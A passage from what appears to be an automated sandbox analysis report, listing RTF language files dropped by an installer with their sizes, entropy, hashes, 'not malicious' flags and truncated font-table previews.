00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-48PRA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54667
Entropy (8bit):	5.033087064941872
Encrypted:	false
SSDEEP:	768:2QFDpxZMjE/d8NwyHF2njX8x3l7G5V5V5h5G5P5N5gkBJ5qA23YtFZSEHtoGCzU/:2Q9svIA9h
MD5:	51AF8BBE0EB54E295570F088C17CBBA4
SHA1:	E8CD73723EB618FA3F9A26B7F56EAA0C9397F0C9
SHA-256:	E9E9F0B183F57BEA6BF02B6BDCBAB45B8BACDFF889CD4E6882E62C3E3F8CC4C8
SHA-512:	582D0EB523E3AA4F152A858DD15C10F5379BA981EAAC75A5B427BCE8287634AF3D14D8AC045754B5FE3BEC9CAC317EC324D72EC2519C11FAE2A9FE3D60FD1F15
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-7E52I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59955
Entropy (8bit):	4.987423779028573
Encrypted:	false
SSDEEP:	768:2FFbLxZjkouUyWXCrfTYlD2oC+zKjkMpAkVZEdvI9DFxg1946VKOFeOkOecLd6Pa:2FLIFxgCSIA9TkWIy
MD5:	E0ED1922B52E062A733812CDC97F78ED
SHA1:	FFE7CBE2173ABEC59FDD66949DF05FAE07310FBC
SHA-256:	436533A19E5DB84BAFC7FC2A0DBECE56577648EF416D5A54C2D3A9D46289B9BB
SHA-512:	95DF26BFFC5FD4B77773C460BDB438ACC4E1A3146E502C8D7FBECE9D29A842513E6C44DBFCB04BDB9682802CBE8BA6E49723C996A550EEB864392B71D184AE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-7MSDN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39768
Entropy (8bit):	5.028438731643848
Encrypted:	false
SSDEEP:	768:2zFUZ47+E29oy2lV9GEij/R0qrsT+118lsqZ/6A9B:2zdTIA9B
MD5:	A8C9AB020E61A95F3CBA163ABBF94E88
SHA1:	041D13002452D2AC0CBE8A2CC4D646B284F1B9C6
SHA-256:	2473E996CFF9D4ACA06608370BF1B5C0ACE937E4F8A1C699AAF2A5F87318D40F
SHA-512:	13FB3383203232496A3551F2D6A39F210432C5DAB33A4101564416A0069E72F86F85C000EB8ABA4C2D8E66FB7B6165A34CD60DA0A8DFA0A48165F358B2E01269
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-81LEV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45546
Entropy (8bit):	5.037437776894658
Encrypted:	false
SSDEEP:	768:2QFDC47+HE1KEKT2njX8x3FPzX3Mmwx1DVw22vR4YaxZ8Y21kNFp6VpXGEy5Z/61:2QDnocIA9K
MD5:	04CD296601A182A19484D83613BC117B
SHA1:	3ACCD6A59B0E72F4FC2D6559D9C31A89C25383B9
SHA-256:	0ABEDA0EF9D4D06BC44EDFF51C9A289DBA0F58A672731F0F8A1B09AFCFD7C9B7
SHA-512:	12241D241CB7FE1A79009E1B4BEB7E9051A5523A3A4182BC19E52EAA3FED4D334822D4DD2E8F2DC3EA56AD32E121C7D69D0C7EB1D1495C5132DC460B5002D0E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-8Q5FL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.0360425372195605
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f85+jpnrNgVVhGPN2lV9GEijDKcAPv6SAJjVSkVeUZ53dqaYHErLm:2e720SvIA9l
MD5:	6C1BF76AEB182845D933C43B2FD3AD7E
SHA1:	2B5CF1297A2F29E1181C2231A521E57C207D16EC
SHA-256:	972A316D680C8D41CC19BE92E617D07832A9038CE9E5EEA23F1ABCC5DA983EE4
SHA-512:	7CC2F42278CDCC2DE781C8776095C83DB4739B635CDD93299A0BF08613C198A20F640BA8488C0B0655012D57B59F413EAF7EE57481BD4EBA3F5556E079D304B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-8U7RP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	98587
Entropy (8bit):	4.9835874653673855
Encrypted:	false
SSDEEP:	768:2zFbmxZM+tWe275kQOSAGc1Q33Tn4eMJ/fOcPI0QhhiLVpLCrLXI1nuT2njX8x3E:2zyeUnNIwuF+bDIA9n
MD5:	B729EF1A2C1EDAB184EE72D97CCF04FA
SHA1:	0B1E8F6E750120989728E8787722DB1E6C8AECA4
SHA-256:	FF86B07534B3BA1FB795BB36C8A7E02DDCA3F591A3EB242AA9F35773BE52AA1B
SHA-512:	8F4819A8CACAE7A93CF4BA2F42EABD64A6409B42F7D41B2363A6454591B7BF6C181E8F45F4359BACE952915008CDAD0EC59E8725E784657F3DEE795A19658EA3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-IF3SM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48219
Entropy (8bit):	5.043881411943709
Encrypted:	false
SSDEEP:	768:2eFfzxZCsxIa4IRVIvOM/rvg20xLjIddpuXVfs+zKjkMpTFFJ+kH3q+1yMPhU32n:2e7uFdIA9V
MD5:	8C8176E8F2409E52F66BA8228B6EEEF4
SHA1:	ED1F5902631C6273022B8C1C6582BD15FA76107F
SHA-256:	FFE2EACEDE61AFC4BEF5370CF51CF41430F2660FEF291087150EF773793F5448
SHA-512:	3210FB8DDB601E1CC322213CFAD6F6A463D882CCD2BA21A4ED19414FC074FA3AD597AAEA75F6B14D857EBE7FB54B5B0594F2661EDC7BAEC0BB26C746C841283D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-JEGPV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66281
Entropy (8bit):	5.021285329842295
Encrypted:	false
SSDEEP:	768:2QFDJw1w0kWBP+WLZdfzbwKsFPcZR1yc+rZE7feMShR/pVRVGcefxRBcnjX8x3JO:2Q4Bb6IA9Z
MD5:	B9DE79AB06478D9A6CDFB82A7578E374
SHA1:	E103E4E779C53988209B3F0F752754162A5F638B
SHA-256:	7BCF98FA23001662B53624E64A48F45581CC6A5B70D53204203184A94581041B
SHA-512:	98F38D4D6CE05FA571C3AD3EE7C8751777F2A6EFB95C619DCD55F3F873AEC2842A578CE4CC654F2AA56E015D3D29955B8C49FE38CC3CBFD1B9D9910E9C7D9EED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-KBQLB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52052
Entropy (8bit):	5.0423517848490995
Encrypted:	false
SSDEEP:	768:2eFD747+kxKTllT2njX8x3xezX3MmwxXoC+zKjkMpEZI6xAzj54vWHmI9ikzmind:2ee2XMIA9o
MD5:	86DF8DBFBB9E6B68A8255BF9B36A9A79
SHA1:	49BBA097A2FA7B3AA66E58F2ECCB244444C96AD3
SHA-256:	232B3BC657DA966541951F2BCAD65B0394BA11608B61F60732E9049B70D8C46D
SHA-512:	BE429F10D254B65E0DEBA90598DEF9ABACD7C641FDF418B7FA272DED99ABA0A3C6E91CF002CEFDB43D95F54466CD0631326788D6E59628ED0A7922422E530F5A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-NFUO7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	51468
Entropy (8bit):	5.04658714654288
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f15+0UcENgVVhGPNIlV9GEijaKcAPv6SAJjmYWR8KdYJ2nkfleSQ+:2e78tYiIA9U
MD5:	80A5E124BF233B48028E3886DE7897EB
SHA1:	F21E4120B6E2C4CABB5A2640AA208E9A94E193B7
SHA-256:	99807A4CF83C65D73CA39ADCC5058B28CA17812102304288420BAF9091DCDACE
SHA-512:	8168FB4A5E19938352E6E2662330214FB4A4209BD015F9615E3308FB808633EF346BAD56ED85B9946D8B40F87680B8B09B3676EF9591BDD27131A3C5842423D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-R7IQ8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44042
Entropy (8bit):	5.0382315831173985
Encrypted:	false
SSDEEP:	768:2QFDC47+EpRx1IKZR1yc+rROcPI0QhhiLVRtvYq14MfzCJrUwQpd8HZ/6A9u:2QDFUnUIA9u
MD5:	C87126C1EBFECCC1BE9D35D2C25360F3
SHA1:	9968DE7D3CAA691A6EB0E643E643C34B7B044F55
SHA-256:	0965D39B40A80B7EF5452ACEEEC9CE43CC5C8D6762617F8FF907444377844D14
SHA-512:	0AA0315529CA2C5D04F4A5BF4DE4991C2F8551AA38559D5C6AAD87F363B1D806457C3F33274873CFCF661646FBE2F730A4461D6ADE66C2DB36BD13AFAD5F1849
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-S3KE3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48087
Entropy (8bit):	5.042429118311867
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/fB5+aWqeNgVVhGPNNlV9GEijSKcAPv6SAJjeR+RP8yJ0LTrI6JtOt:2e7dRRoIA9f
MD5:	4BF6C8774BA58F01B8916C5DDD525E82
SHA1:	F493778C8F8CBD77CC9FC11F1E628FD05C6B0F87
SHA-256:	1D3481510B1220FF2BB3EFBC4137E73A237842AEC233E289EDE6039412FC1ACA
SHA-512:	208BA94ECDB45A089AD16A665DA51C7C29267268DE83DFC4F44D8EE29805031DD79E9681E12F6D5C8CE9C8E13FAFB3CB9C5DA535712416D4941233E546A794A8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-TT07B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50160
Entropy (8bit):	5.04516355825557
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f95+6+WGNgVVhGPNolV9GEijPKcAPv6SAJjZR6TYqEkc0ij82oXTq:2e796RTIA9l
MD5:	D515DFD169E7F576978E8DDF94C8F57C
SHA1:	776FDAA33E7FBEFB6ECCB018DEEBEC03F23977E9
SHA-256:	3B6A48D3D59E44B95C982CD39E4F58CC7FA62237A089BDAC7844838F33C5CCD8
SHA-512:	8A61180120ED053F471874E0A8FA145071E39F89633C5C7085E84EBAC8BCC2E734E68F95D0B5C5C71CF168D5824D044D38C3C330CF2093121019D953C73A3431
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-UBGMU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78843
Entropy (8bit):	4.977552271527579
Encrypted:	false
SSDEEP:	768:2FFfTw1wko5DlJXCrfTYlD2oC+zKjkMpAkVZEdvI9vTwliBKMkZKU4B3dHlbZBG4:2FuLTwlsdfmIA9U
MD5:	410CC0145DFADC0855A7081EC0808E79
SHA1:	4DB58BD6606D3266E9C3775CE5B41333DE38EC03
SHA-256:	D9C2247313A637FB992DCC176C9D96A06A891EA76F78E373FF038532FCC5EEBF
SHA-512:	B7B85D67CE8756DB341CD324592308AD6662D853E0CC08B3A64B09FB9D40D21B945EF1F4EEA8DF7DA92F281BED4B92930F81A0EDBEB7498CE03056AC0DF370CE
Malicious:	false
Reputation:	unknown
